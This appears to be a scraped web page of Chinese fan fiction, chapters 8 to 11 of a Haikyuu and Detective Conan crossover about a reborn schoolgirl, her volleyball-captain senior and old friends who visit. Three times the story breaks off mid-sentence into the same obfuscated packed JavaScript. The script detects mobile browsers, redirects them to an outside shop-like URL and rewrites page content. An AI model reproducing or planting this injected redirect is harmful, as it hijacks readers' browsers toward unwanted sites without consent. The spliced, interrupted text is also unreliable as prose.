帘子被彻底拉开，佐藤真由美端着一瓶果汁走进来，拧开递给她，“想喝水不？你睡了好久。” 澪接过果汁，道了句谢，抿了一口，葡萄味生冰凉液体滑过喉咙，让她彻底清醒过来。 “谢谢佐藤。”她顿了顿，“运动会结束了吗？” 佐藤点点头，目光落在她的脚踝上，校医已经处理过，缠着一圈绷带，看起来比之前肿得轻一些，但还是明显能看出受伤的痕迹。 “结束了，刚刚颁完奖。”佐藤说，“一会儿我给你打辆车，你家里有人吗？” 澪眨了下眼，点点头，“嗯。” 也不是很影响生活，就不告诉爸爸妈妈了吧，两人的公司都在东京，妈妈有时间还要世界各地出差…… 佐藤叹气，帮清水澪背着从教室拿来的书包，扶起清水澪慢慢走出医务室，“慢慢来，你最近饮食上要注意一些，可不能太将就了。” “好。” “明天要是还疼得厉害，就去医院看看……” “清水学妹，佐藤学妹。” 是及川彻，他和岩泉一站在医务室不远处朝他们招手。 “我来送你回家，清水学妹。”及川彻和岩泉一还穿着排球部的运动，显然是运动会结束后又去训练了。 “不用了，谢谢前辈，一会儿打出租回去就好。”澪不想麻烦他。 “经常会在便利店那边看见你，我们应该是同路吧？”他说，然后看了一眼佐藤，“佐藤学妹在另一个方向吧？” 佐藤点点头：“嗯，我家在反方向。” “那不就结了。”及川彻理所当然地说，“顺路的事，打什么出租。”他拍了拍岩泉一的自行车，“小岩专属座驾，小清水要不要趁机享受一下？” 岩泉一也道，“运动会今天来了很多外校的人，这家伙答应了老师和学生会的人把你送到家。” 清水澪实在有些诧异，“为…什么？” 佐藤在一边好笑道，“首席，不要小看你的成绩啊。”他们青叶城西升学率可是全体师生共同努力生成果，清水澪的优秀也值得老师们对她多加关照。 及川彻玩笑道，“教导主任今天也问了你哦，知道你崴了脚在医务室休息还去看你了。” 清水澪不知道，那会儿她可能睡着了，“那…麻烦前辈了。” 佐藤已经把书包递过去，动作自然地交到及川彻手里：“那就交给前辈啦。” “放心吧！”及川彻接过书包，顺手敬了个不怎么标准的礼，眼角眉梢都是笑意。 岩泉一无语道，“别这么轻浮，扶着点她，别摔了。” “知道知道。”及川彻应着，把自行车扶稳，回头看向澪，“能自己坐上来吗？还是需要帮忙？” 澪看了看后座的高度，又看了看自己的脚。 “能自己坐。” 她慢慢挪过去，手撑着车座，小心翼翼地侧身坐上去。 及川彻等她坐稳了，才跨上自行车。他单脚撑着地，回头看了她一眼：“坐好了？” “嗯。” “那走了。” 自行车缓缓动起来。 澪愣了一下，但还没来得及说什么，自行车已经远远把人影甩在了身后。 不是说自行车是岩泉前辈的吗？ 8. 第 8 章 傍晚的风迎面吹过来，带着一点凉意。 及川彻骑着车，速度不快，稳稳当当的。 澪坐在后座上，犹豫了一下，还是开口问：“及川前辈，岩泉前辈他……走回去吗？” “对啊。”及川彻的声音从前面传来，理直气壮的，“我们家是邻居，从学校走回去大概二十分钟吧，他正好当放松了。” 澪沉默了一秒。 所以，岩泉一把自行车让给了及川彻，让他送自己回家，然后自己走路回去？ “那这辆自行车……”她又问。 “明天早上我骑到他家还他就行。”及川彻说。 澪点点头，过了一会儿又想起什么：“那及川前辈明天怎么来学校？” 及川彻笑了一声，那个笑声在风里显得有点轻飘飘的：“我骑自己的车啊。” “那今天……”澪话说到一半，忽然反应过来，“及川前辈今天没骑车来？” “嗯，今天没骑。”及川彻的语气很平常，像在说今天吃了什么一样，“早上起晚了，小岩载我来的。” 看她难得呆呆的反应有点慢的样子，及川彻趁机道，“明天早上我来接你吧。”语气里带着点笑意，“骑我自己的车。” “不用…” “不用觉得麻烦。”及川彻像是猜到了她在想什么，“反正我本来也要晨练，顺路的事，要是你心里过意不去的话，和我用西语练习对话怎么样？我猜想你西语应该很好？” 清水澪嗯了一声，犹豫片刻，用西语道，“那…谢谢前辈了。” 及川彻笑着用西语说，“谢谢，那接下来我们都用西语说话吧。” “好。” “学妹脚还疼吗？” “还好。”她说，“不是很疼了。” 及川彻想了想又找话题道，“你平时在家里都做什么？除了看书。” 澪想了想：“也没什么特别的。” “总得有吧？”及川彻的语气里带着点笑意，“比如喜欢吃什么，喜欢看什么电视节目，周末喜欢去哪里。” 澪的长发被晚风吹得有点乱，洒在前面男生的手臂上，她捋了捋压住，觉得此刻有些惬意，“对食物没有什么洗好，真要说的话，黑咖啡，西芹和三明治吧，不看电视节目，周末会去练习弓道。” 及川彻声音带了点诧异，“学妹会弓道？那怎么不加入学校社团？” “业余爱好，不想太累了。”清水澪道。 其实是小时候因为没再练习体术后体力下降了不少，就去学弓道了，她总不能去练射击吧，反正上辈子她第一个武器也是弓箭，这一世也算驾轻就熟。 不想聊过多这个话题，清水澪转移话题道，“前辈除了西语还想学什么语言吗？” 及川彻轻笑一声，“好自信的样子啊，小清水，一副我想学什么语言都可以教我的样子。” 清水澪翘起唇角，语气里竟然有些怀念，“俄语，英语，德语，法语，中文，意大利语，葡萄牙语，阿拉伯语，希伯来语都可以。” 虽然上辈子当酒不算厉害，但她真的被波本他们教得很好。 及川彻这下真惊了。 自行车歪了一下，又很快稳住，忍不住回过头看她一眼，语气里满是震惊：“真的假的？学妹这么厉害吗？” 清水澪笑出声，“会说会阅读，个别语言不一定会写。”毕竟以前用到的场合是真多，熟能生巧。 及川彻很捧场，“学妹简直是语言天赋拉满呢，还是放过及川前辈吧，前辈的脑子里除了排球装不下太多东西啦。” 两人就这么开着玩笑，澪坐在后座上，抓着他腰侧的衣服，听他念叨“小清水老师太严格了”“这个发音真的好难”“你们天才的脑袋到底怎么长的”，忽然觉得这条路好像比平时短了一点。 “对了，”及川彻忽然换回日语，“学妹会这么多语言，有没有那种……特别喜欢的词？” 澪想了想。 “有。”她说。 “什么？” “‘Serendipity’。”澪用英语念出来，“意思是意外发现美好事物的运气。” 及川彻念了一遍：“Serendipity……好长的单词呢。” “嗯。” “那学妹最近有这种运气吗？” 晚风从耳边吹过，带着不知哪里飘来的清冽花香。 街道两旁的灯光一盏盏亮起来，把他们的影子拉得很长。 她看着及川彻的后背，忽然不知道该怎么回答。 “有吧。”她最后说。 及川彻笑了一声，没再追问。 自行车拐过最后一个弯，澪家那栋公寓楼出现在视线里。 “到了。”她说。 及川彻在楼下停稳，单脚撑着地。 澪从后座上慢慢下来，单脚落地。 “要我扶你进去吗？” 澪摇头，“很近，没关系。” 及川彻弯着眉眼，“那明天七点半？” “嗯。” “还是西语练习？” “好。” 及川彻笑起来，那个笑容在暮色里显得格外温和。 他拍了拍自行车后座，“那今天的小岩专属座驾体验之旅就到此结束啦，清水学妹感觉如何？” 澪想了想，一本正经道，“比出租车稳当。” 及川彻笑出声，“这个评价，我可要告诉小岩的。” 澪嘴角也微微弯起来。 “上去吧，”及川彻笑够了，挥挥手，“早点休息。” 澪点点头，转身往楼门口走。 走出两步，她忽然停下来，回过头。 及川彻还停在原地，正低头摆弄手机，像是在回消息。 “及川前辈。” 他抬起头。 “谢谢。”澪说，“今天……很开心。” 及川彻轻笑着点头，“我也是。”他说，“那明天见。” “明天见。” 澪转身掏出钥匙，打开家门，屋里很安静。 她单脚跳着，到沙发边坐下，看着窗外的暮色一点点变成夜色，按开墙上的开关，灯亮了起来。 手机响了一下。 是佐藤发来的消息：【到家了没？脚怎么样？】 澪回复：【到了，还好。】 佐藤秒回：【怎么这么久？你们在路上干嘛了？】 澪想了想。 聊西语，聊弓道，聊八种语言，聊一个叫serendipity的词。 【没干嘛。】她回复。 佐藤发来一串省略号，然后又发了一条：【我信你才怪，早点睡，明天见！】 澪放下手机，靠在沙发上看窗外。 窗外的天彻底黑了。 * 第二天早上，澪站在窗边往下看了一眼。 两辆自行车停在了清水家外面。 前面那辆黑色的是昨晚那辆，岩泉一的车，骑车的是岩泉一本人，背着黑色的运动包，正打着哈欠。 后面那辆是深蓝色的，车架上干干净净，后座绑着个浅灰色的软垫。 及川彻骑在上面， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375173|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远远就朝楼上挥了挥手。 澪放下窗帘，拎起书包往楼下走。 脚踝还是有点疼，但比昨天好多了，校医的冰敷和绷带确实管用，可以稍微不用力试着移动一下。 她忍痛的能力确实蛮强的。 她走出楼门的时候，两辆自行车正好在路边停稳。 “早上好，清水学妹。”及川彻从车上跳下来，笑容灿烂得跟早上七点半的阳光似的，“脚怎么样？” “早上好，及川前辈，岩泉前辈，”澪点点头，“好多了。” 岩泉一在旁边也点了点头，简短地说了句“早上好”，然后把自行车撑好，从后座上取下一个东西递过来。 澪愣了一下。 是个便利店的塑料袋，里面装着两个饭团和一盒牛奶。 “那家伙说你可能没吃早饭，早上多做了一份。”岩泉一道，“拿着吧。” 及川彻正跨坐在自己的自行车上，笑眯眯地看着她：“小岩手艺超好的哦，最近早训改成晚训，他天天自己做早点，可好吃了。” 澪接过袋子，对岩泉一说：“谢谢岩泉前辈。” “不用。”岩泉一说，“上车吧，再不走要迟到了。” 及川彻拍了拍自己的后座：“来来来，小清水专属座驾，今天是我自己的车哦。” 澪看了看他的后座，灰色的软垫绑得很牢，看起来是专门准备的。 她慢慢坐上去，手扶着车座边缘。 及川彻回头看了她一眼：“扶着我的腰，今天拐弯多。” 澪犹豫了一秒，还是伸出手，轻轻抓住他腰侧的衣服。 岩泉一已经骑上车，回头看了他们一眼，然后踩着踏板往前去了。 及川彻也蹬了起来，自行车稳稳地汇入清晨的街道。 早上的风比傍晚凉，带着露水和草木的气息。 阳光斜斜地照过来，把三个人的影子拉得很长。 前面岩泉一的背影稳稳地骑着，偶尔回头看一眼，像是在确认他们有没有跟上。 “岩泉前辈今天怎么来了？”澪问。 “他说不放心。”及川彻的语气里带着点无语，“说怕走错路把你带沟里去，其实小岩就是看热闹。” 清水澪没有说话，抓着他腰侧的衣服，只觉得今天的晨光，好像比平时明亮一点。 到学校的时候，校门口已经热闹起来了。 放好自行车，及川彻又背着她上了三楼。 澪趴在男生的背上，一回生二回熟地倒没觉得什么，只是校内过于八卦的视线让她有些耳热。 到了班级匆匆道谢后就赶紧进去，及川却拉着她是书包系带，力道很轻，一盒牛奶被塞进了书包，带着笑意的声音在身后响起，“牛奶忘拿了。” 澪飞快看他一眼，“好，谢谢前辈。”然后飞快奔向佐藤。 “哎哎！慢点清水！”佐藤连忙过来扶她，还和及川彻道了谢，“麻烦前辈了，前辈快回去吧，马上早读了。” 及川挥挥手离开，佐藤没好气和澪吐槽，“什么完美学长，接触多了果然会幻灭，刚刚就是在故意逗你吧。” 澪无奈，不是很想说话，然而事实不允许，离早读还有三分钟。 “清水，听说你脚崴了，没事吧？” “清水，是因为脚崴了所以前辈送你吗？” “看到前辈背你了哦，不过你的脚还好吧？” 关心是真的，八卦也是真的。 清水澪无奈回应着同学们的关心，佐藤也跟在旁边解围，在早读前总算把看热闹的大伙劝回座位了。 9. 第 9 章 还好第一节是实验课，早读过后，都忙着去实验楼了。 实验课结束后，佐藤扶着澪从化学实验室出来，佐藤真由美还在回忆刚刚的实验过程，拿着记录表研究，“嗯…清水，刚刚老师说的那个倒数…什么来着？” “双倒数法，估算的话非线性回归也可以。”清水澪道给她解释。 “哦对，双倒数法。”佐藤笑着把东西收好，夸赞道，“清水对这些操作实践真的非常娴熟呢，上次的化学考试也是满分，老师也说你的思维非常适合学习理科，说不定你以后会成为一名很厉害的科学家哦。” 澪沉默了几秒才道，“还是佐藤说的心理学家更吸引我呢。” “是吗？哈哈一直就觉得你很有那种学者气质，超级沉静的。” 【“蜜多丽，组织已经放弃你了，你自己要是再这么自暴自弃下去是自寻死路。” “蜜多丽，再在任务中发病就滚回训练营去，或者自己去雪莉的研究所，你做不好研究，总能做好一个实验体。”】 澪轻笑一声，半真半假道，“我以前可暴躁了，现在你看到的都是假象。” 佐藤哈哈哈地笑，挽着她的手臂，亲昵道，“我才不信呢，你一看就是良好家庭养出来的那种家教超好的女孩子。” 清水澪失笑，“我的监护人们如果知道应该会很高兴。” 毕竟当年收养她的时候，莱伊的烟可是通通被她换成了pocky，针织帽永远有一个洞，还有偷波本的宝石袖扣去卖，往苏格兰须后水里加芥末…… 虽然最后都以她被加罚各种作业作为结局，但那时候的她，应该是乐在其中吧。 毕竟既不用她去继承父母的研究，也不用被关在训练营担心某天就被琴酒拿去当了一次性耗品。 11岁，应该是她童年里难得的亮色了。 * 午休铃响的时候，及川彻正趴在桌上发呆。 他慢吞吞爬起来，从书包里掏出便当盒，妈妈今天给塞的，打开一看，炸虾、玉子烧、小香肠，还有一堆切成兔子形状的苹果。 旁边几个女生发出小小的惊叹声。 “及川的便当好可爱！” “妈妈做的吗？” 及川彻立刻坐直，露出标准的及川式笑容，“是哦，我妈说今天心情好，特意给我做的。” 女生们又笑成一片。 他一边应付着，一边往外走。 穿过走廊，拐过楼梯，在楼梯间的拐角处停下来。 五班门口，岩泉一已经站在那里了，手里拎着便当，一脸“你怎么这么慢”的表情。 “小岩，”及川彻挥挥手跑过去，“你今天吃什么？” “跟你有什么关系。” “看看嘛，万一你妈给我塞了好吃的呢。” 两个人一边斗嘴一边往天台走。 这是他们从高一就固定的午休地点，天台角落的阴凉处，没什么人来，可以安静吃饭，偶尔还能看到操场上的田径队训练。 今天天气不错，阳光暖洋洋的，风也不大。 及川彻在惯常的位置坐下，岩泉一在他旁边坐下，两个人同时打开便当盒。 “哇，小岩你今天的炸鸡看起来好好吃。” 岩泉一夹起一块就往嘴里送，完全无视他的目光。 及川彻眨眨眼，把自己的便当往他那边推了推：“我用玉子烧换一块？” 岩泉一看了他一眼，又看了他的便当一眼，最后还是夹了一块炸鸡放到他盒子里。 及川彻笑眯眯地夹起来咬了一口。 “对了，”他一边嚼一边说，“小岩，你觉不觉得今天的天气特别好？” 岩泉一低头吃饭，没理他。 “还有，你有没有发现，最近学校食堂的咖喱好像变好吃了？要不下次我们不带便当了。” 岩泉一还是没理他。 “还有还有，昨天那个电视剧你看了没？就是那个……” “你到底想说什么？” 及川彻被噎了一下。 他张了张嘴，又闭上，最后低头扒了一口饭。 岩泉一嚼着玉子烧，看了他一眼。 “及川。” “干嘛？” “你是不是想追那个一年级的学妹？” 及川彻的炸虾差点从嘴里掉出来。 “什、什么？谁？哪个一年级？” 岩泉一没说话，用你继续装的眼神看着幼驯染。 呵，及川彻想什么他还能猜不到？ 及川彻的脸以肉眼可见的速度红起来。 “小岩你在说什么啊！我、我就是人帅心善、乐于助人送受伤学妹回家而已！这不是教导主任交代的吗！我这是奉命行事！你昨天不是也在吗！你也同意了的！还借了车给我！你现在怎么……” “我就问了一句。” 及川彻的话卡在喉咙里。 岩泉一无语，没好气道，“你反应这么大干什么？” “……我没有。” “有。” “没有！” “脸都红了。” “那是太阳晒的！” 岩泉一抬头看了看天。 天台角落，阴凉处，一点阳光都照不到。 他又看向及川彻。 及川彻沉默了两秒，然后低头开始猛扒饭。 岩泉一也没再追问，只是继续吃自己的便当，就看他什么时候憋不住。 然后及川彻忽然开口，声音闷闷的：“她不一样。” 岩泉一看了他一眼。 及川彻没抬头，筷子戳着便当里的一颗小番茄。 “我也说不上来。”他说，声音比平时低一点，“就是……不一样嘛。” 岩泉一等着他说下去。 及川彻戳了半天小番茄，最后还是把它夹起来吃了。 “那种感觉，”他慢慢说，“就是那种……你懂吧？就是那种想让人靠近的感觉。” 岩泉一面无表情咬了一口炸鸡，“不懂。” 及川彻瞪了他一眼，然后继续说：“反正不一样，我没见过这样的女孩子。” 宠辱不惊，不骄不躁。 他知道为什么那些人会给她取名叫辉夜姬，但是他觉得清水澪更像是留恋世间的辉夜姬。 她一点都不冷冰冰，总能给他很神秘的感觉。 他想要探究这种神秘。 他把筷子放下，看着远处的操场。 及川彻继续说：“她真的很厉害哦，你知道她会多少种语言吗？昨天她说，语、英语、德语、法语、中文、意大利语、葡萄牙语、阿拉伯语、希伯来语，九种！九种！小岩你能想象吗？” 岩泉一终于开口：“你问她这个干什么？” “……聊天聊到的。” “你跟人聊天聊到她会几种语言？” “不行吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375174|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岩泉一嘲笑看他，“追女孩子都不会追。” 及川彻把脸扭到一边，“都说了没有！” “而且，”他小声嘟囔，“她还会弓道，弓道诶，小岩，辉夜姬射箭什么的，哇…想想就很美的样子。” 岩泉一沉默了一秒。 “所以你喜欢她是因为她会弓道？” “当然不是！” “那是为什么？” “就是……也没有喜欢吧，”及川彻把脸埋进手臂里，声音闷闷的，“就是想知道她到底是什么样的人。” 岩泉一看着他。 “还有呢？” “还有……”及川彻抬起头，看向天空，“就是觉得，如果能让她多笑一点，好像也不错。” 岩泉一沉默了一会儿，觉得及川彻果然是个除了排球什么都不会的笨蛋，这还不是喜欢吗？ 然后他拿起筷子，从自己便当里夹了最后一块炸鸡，放到及川彻的盒子里。 及川彻愣了一下，看向他。 岩泉一已经低头开始吃饭，面无表情。 “小岩……” “多补补脑。” 及川彻看着那块炸鸡，愤愤咬下一大口，“小岩你不要小瞧我！” 岩泉一直接打断施法，“她脚受伤了，你明天还接吗？” 及川彻哽住，“做好事…当然要做到底啊。” 岩泉一点点头，没戳穿他心虚的样子，站起来拍了拍裤子。 “那就接，别搞砸了。” 两个人并排往楼下走，阳光从楼梯间的窗户照进来，把他们的影子投在墙上。 及川彻忽然想起一件事。 “对了小岩。” “嗯？” “你会几种语言？” 岩泉一看了他一眼。 “日语。” “……” “还有冲绳方言。” “那是方言不算语言！” “对我来说够用了。” 及川彻沉默了一秒，然后笑出声。 两个人继续往下走，斗嘴的声音在楼梯间里回荡。 * 又是新一次的全校晨会。 晨会在体育馆举行，全体学生按年级和班级列队。 一年级在最左边，三年级在最右边，中间隔着二年级。 澪站在一年6班的队伍最后，视线平移到三年级。 那人手里抱着一颗排球。 按照时间来看，大概是晨训完直接过来的。 真努力啊，澪心想。 澪的脚伤在这一周基本好得差不多了，只要不剧烈运动就没问题。 她也想快点完全好，然后不再耽误及川彻的晨训，不然还挺麻烦的。 晨会结束后，学生们按班级顺序退场。 澪和佐藤随着人群慢慢往外走。 及川彻站在最前面，手里拿着一叠传单，正在微笑着递给经过的学生。 “……周末有练习赛，欢迎来看！” 他的声音从人群中传出来，带着一如既往的热情。 澪和佐藤慢慢往前挪。 轮到她们的时候，及川递过来两张传单，眼里含着笑意和期盼 “小清水，周六要不要和小佐藤一起来看排球赛？” 清水澪疑惑接过传单。 【排球部还有这种活动吗？及川前辈应该不缺给他加油的人吧。】 10. 第 10 章 及川表情僵了僵，然后继续微笑着给后面的学生发传单，离开前还道，“一定要来啊，不许缺席！” 澪低头看了一眼手里的传单。 说实话，实在是太粗糙了。 纸张是最普通的复印纸，边角还有点卷。 内容是用马克笔手写的，字迹龙飞凤舞，排版却歪歪扭扭的，上面写着“青城男子排球部vs伊达工男子排球部”，再下面是时间和地点：本周六下午两点，青城体育馆。 最下方还画了什么东西，看起来像是排球，又像是涂鸦失败的太阳，又或者只是及川彻随手点的一个墨团。 整张传单给人的感觉是：没有一点技巧，全是感情。 澪无言地看着这张纸，又抬头看了看及川彻已经走远的背影。 “他们不是一般都谢绝参观吗？”她忍不住问旁边的佐藤。 佐藤正在研究传单上的涂鸦，听到这个问题想了想：“可能及川学长想要我们去给青城站台加油？毕竟练习赛也是展示实力的机会嘛。” 澪看着手里这张显得非常匆忙的抽象涂鸦。 果然是临时起意吧，不过也不是不能去看看，目前她对排球还挺感兴趣的。 她把传单折好，放进书包里。 * 周六下午，青城体育馆。 澪和佐藤到的时候，体育馆门口已经排起了队。大多是穿着青城校服的学生，也有几个穿着便服的，还有一些看起来像是外校的人。 “好多人啊。”佐藤踮起脚往里张望，“练习赛而已，居然来了这么多，不过IH大赛快到了，这些很有可能是来打探情报的吧。” 澪有些好奇，“你不是说一般练习赛是不允许观看的吗？” 佐藤点头，牵着她的手找位置，“是这样没错，这次是伊达工那边的要求，他们好像要拍一个宣传视频，就希望场子热闹一点。” 清水澪感叹，“感觉在日本的话，排球的确是非常出名的运动呢，都形成了一套完整的运营体系了。” 澪和佐藤找了个靠边的位置坐下，正好可以看到整个球场。 佐藤笑道，“青城也有这方面的运营的，无论是把及川前辈打造成青城的代表人物，还是宣传排球，对于学校生源和排球运动来说都是一种良性循环，很多大学招生的时候都会参考运动员的知名度，这次伊达工可能也是为了三年级的几位前辈做准备吧。” 因此和青叶城西来一场公开练习生是非常划得来的，青城在县内是豪强。 打起来不会呈现出白鸟泽牛岛一个人的碾压局，青城的几个三年级综合素质都非常不错，还有一个形象清俊但球技超高的县最佳二传手。 再加上及川彻又是一个情商颇高的人，在力所能及的时候对他们这些对手都还是很照顾的，每次练习赛什么的，都会帮忙指点一下对手学校的小新人们。 不过…… 佐藤想到一件好笑的时候，悄声和澪道，“我前几天翻论坛，翻到一个老学长的号，他已经大学了，来逛论坛的时候和青城的大家聊起来了，说了一件及川学前辈以前的事。” 澪：“什么？让你露出这种看好戏的表情。” 佐藤忍笑，“那位学长说，别看及川前辈现在这么人模狗样的，只要把他放到两个人面前，他准炸。” 清水澪看了看正在进场的青叶城西排球部，“哪两个人？” 场下的及川彻朝四周张望了一会儿，看见她后朝这边招了招手，澪想了想，抬起手打招呼。 佐藤也高兴挥手，“一个是白鸟泽的牛岛前辈，他们是好多年的对手了，这也正常，还有一个是北川第一出身，及川前辈的学弟，我以前和你提过一嘴的，乌野现在的二传，天才哦，在球场上有王者之称的影山飞雄。” 清水澪敏锐感觉好像有点抓到及川彻这个人的特质了。 “前有狼…后有虎。” 佐藤感叹，“是啊，其实我蛮欣赏及川前辈这种排球选手的，天才的比赛固然让人看得兴奋，但果然还是及川前辈这种更让人敬佩啊。” 澪从佐藤以前的“练过排球”，还有高中非常渴望改变的积极态度中，有推理出她以前可能是个排球选手，但具体的事情并没有问过，这会儿还真有点好奇了，“那…佐藤是属于哪种？” 佐藤真由美诧异看向澪。 澪轻笑，“很明显了哦，不要一副我怎么看出来的模样看我啊。” 佐藤无奈，“果然，比起科学家，澪还是更适合去当会读心的心理学家呢。” 澪莞尔，“前几天还说科学家呢，所以能说吗？” 佐藤洒脱一笑，“这有什么不能说的，我……” “澪，好久不见。” 肩膀被拍了一下。 欸？！ 清水澪惊讶回头望去，两个男生坐在身后，一个金发，一个黑发，笑眯眯微微前倾靠在椅背上，一副终于逮到你了的模样 “没想到真的遇见了，我和zero本来只是想来碰碰运气的。” 清水澪哽住。 【为什么波本和苏格兰会来青叶城西啊啊！！！！！！】 球场上，青城的人正在热身，及川彻正准备发球，手突然一滑，球歪歪扭扭地飞了出去，差点砸到旁边的队友。 “抱歉抱歉！”他连忙举手示意。 抬头望去，的确在最近的十米范围内，就在他们这一边的C区 清水澪坐在那个位置，正和后排的两个男生说着什么。 两个男生穿着统一的制服，金发那个带着棒球帽，趴在清水澪的椅背上，黑发那个……径直看了过来。 这么敏锐？ 及川彻表情有些不好，看着就明显是外校学生，再加上以前听到过这两个外号。 身份不言而喻，果然是清水国中时期的同学吧。 所以什么莱伊、琴酒、贝尔摩德、雪莉这些也是她的国中同学吗？ 所以那两个男生就是波本和苏格兰吗？ 哼，所以清水的语言是和他们当中是谁一起学的，还有谁才是那个做饭超级好吃的？ 真希望有一双从没听到过清水学妹心声的耳朵，他那时候果然就不该为了测试范围频繁和她偶遇。 及川彻有些不爽地抿抿唇。 啧…不过话说回来，心声什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375175|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么的，好像不是通过耳朵传导？ “队长，快点热身！” “啊…哦好！马上！” 及川彻收回目光，继续热身，但余光还是忍不住往那边飘。 场外，清水澪已经平复好心情了，“你们怎么来宫城县了？” 降谷零笑道，金发在体育馆的灯光下闪着柔和的光：“来看你啊。” 清水澪斜眼看，他不说话，诸伏景光忍笑，“网球部的合宿，zero今年推荐了宫城县，说这边环境好，场地也多。” 澪无语地看了一眼降谷零：“这边打排球比较多吧。” 降谷零的表情也变得有点无奈：“整个日本都更喜欢排球呢，网球确实有点小众，不过合宿嘛，随便哪里都一样，这边运动场馆多，也还行。” “主要我们也不追求成绩。”诸伏景光在旁边补充，语气温和，“就当作社团团建啦。zero可是包了大半经费，我们就是来享受的。” 这一世的降谷零，是名副其实的世家子弟呢，家族显赫，家境优渥，做什么都有人支持。 和上辈子那个在黑暗里摸爬滚打的波本，完全是两种人生。 额头被不轻不重地弹了下，降谷零微眯着那双紫灰色的眼睛看她，“又在胡思乱想什么？如果不是网上传出你在青叶城西的照片，我们还不知道帝丹的辉夜姬居然来了宫城县。” 降谷零说话的声音不大不小，已经被周围坐在青城的学生听见了。 “喂，我说这位金发君，不要动手动脚哦，这可已经是我们青城的校花殿了。” 一位男生平淡警告。 他身边跟着另一个清水澪比较熟悉的人，是文学部打过招呼的田中优斗。 看见身边隐隐把清水澪围在一起的青城众人，降谷零和诸伏景光微微挑眉，神色有些微妙。 降谷零还想再刺探下情报，却被诸伏景光按住肩膀，“zero，你再挑衅我们今天可能走不出这座体育馆了。” 降谷零不爽地哼了一声，早知道把松田也叫上了，然后又看向清水澪，“看来你在青城过的不错。”这么快就混熟了，护花使者也换了一批了，这么一想降谷零更不爽了。 清水澪抿了抿唇，她知道降谷零在不爽什么，毕竟国中一毕业就消失的人确实是她。 “大家都坐回去，好好给及川前辈加油，对面伊达工都开始应援了，快点…坐回去坐回去。”佐藤看着有些奇怪的气氛，连忙出来解围，然后又笑问澪，“清水，这两位是……” 清水澪给她介绍，指着降谷零道，“他就是佐藤知道的那个全国网球大赛冠军，降谷零，这位是诸伏景光，他们两个都是我的朋友，来自东京帝丹高中。” 佐藤双眼亮晶晶的，左手握拳锤到掌心，“厉害！是和及川学长一样闪闪发光的人呢！” 清水澪无奈，“这位是佐藤真由美，我的同桌和好朋友，她比较颜控，你们不要介意。” 降谷零和诸伏景光这会儿情绪也正常了，笑着和佐藤打招呼。 诸伏景光看了看澪，又看了看佐藤，眼里闪过一丝很淡的欣慰，“果然澪身边就是需要一个社牛呢。” 11. 第 11 章 佐藤也高兴地揽着澪的肩膀，“这样才是互补的朋友嘛。” 降谷零抽了抽嘴角，“hagi一定很想认识佐藤同学。” 诸伏景光点头，“是呢，这种微妙的即视感。” 佐藤又好奇问他们这是谁，接着三人就开始聊起来，互相交换彼此知道的情报。 佐藤对澪的国中生活感兴趣，降谷和诸伏则在询问澪在青城有没有受欺负。 佐藤笑着摆摆手，“辉夜姬可是是大家的，大家爱护还来不及呢，而且我们青城很有集体荣誉感的哦，在及川前辈毕业以后，形象代言人大概率就是清水了。” 澪困惑问她，“有这回事？” 佐藤道，“有啊，会长也是三年级马上卸任了，但一些预案已经在带着我们做了，及川前辈毕业以后，你还真是他的候选人呢，等校委那边通过就是板上钉钉的事了。” 降谷零抱着手臂看场下的比赛，看见了那个在一众高中生里过分帅气的及川彻，眼神微闪，“刚刚佐藤同学说澪前段时间脚崴了，一直是这位及川前辈在接送吗？” 佐藤不明所以，“对，及川前辈人一直蛮好的，岩泉前辈也是，学生会那边基本就是他和会长在带我们了。” 降谷零听着周围的青城众人在及川彻发球时有节奏的呼喊，笑容灿烂道，“hiro，我们待会儿去好好谢谢人家吧。” 诸伏景光看了看沉默的澪同学，温柔笑道，“嘛…是该好好谢谢，毕竟这么照顾澪。” 佐藤后知后觉意识到什么，悄悄看了眼两个大帅哥，又给同桌递眼色，‘怎么回事？’ 澪无奈摊摊手，“别理他们，越说越来劲了。” 诸伏景光故作伤心状，“孩子大了，生分了。” 降谷零煞有其事地点头，“但看你自己一个人过的那么好，我们几个也放心了。” “你们是我妈妈嘛，真是的！”清水澪没好气吐槽。 佐藤眨了眨眼，玩笑道，“你们不会就是帝丹那些帖子里大名鼎鼎的辉夜姬身边的五大恶人吧？” 降谷零无奈道，“明明是澪太受欢迎了，我们几个幼稚园时期就认识了，如果不帮她挡着点，真的会有一些不好事情发生的。” 诸伏景光也道，“现在要好一点了，以前真的是网球部训练时间都要保密，澪是我们的经理嘛，还负责给运营账号，粉丝很多的。” 清水澪听着他们继续交谈和自己有关的事，也不制止，只要别总管着她就行。 不然会让她有种时空错乱感，她不喜欢这种感觉。 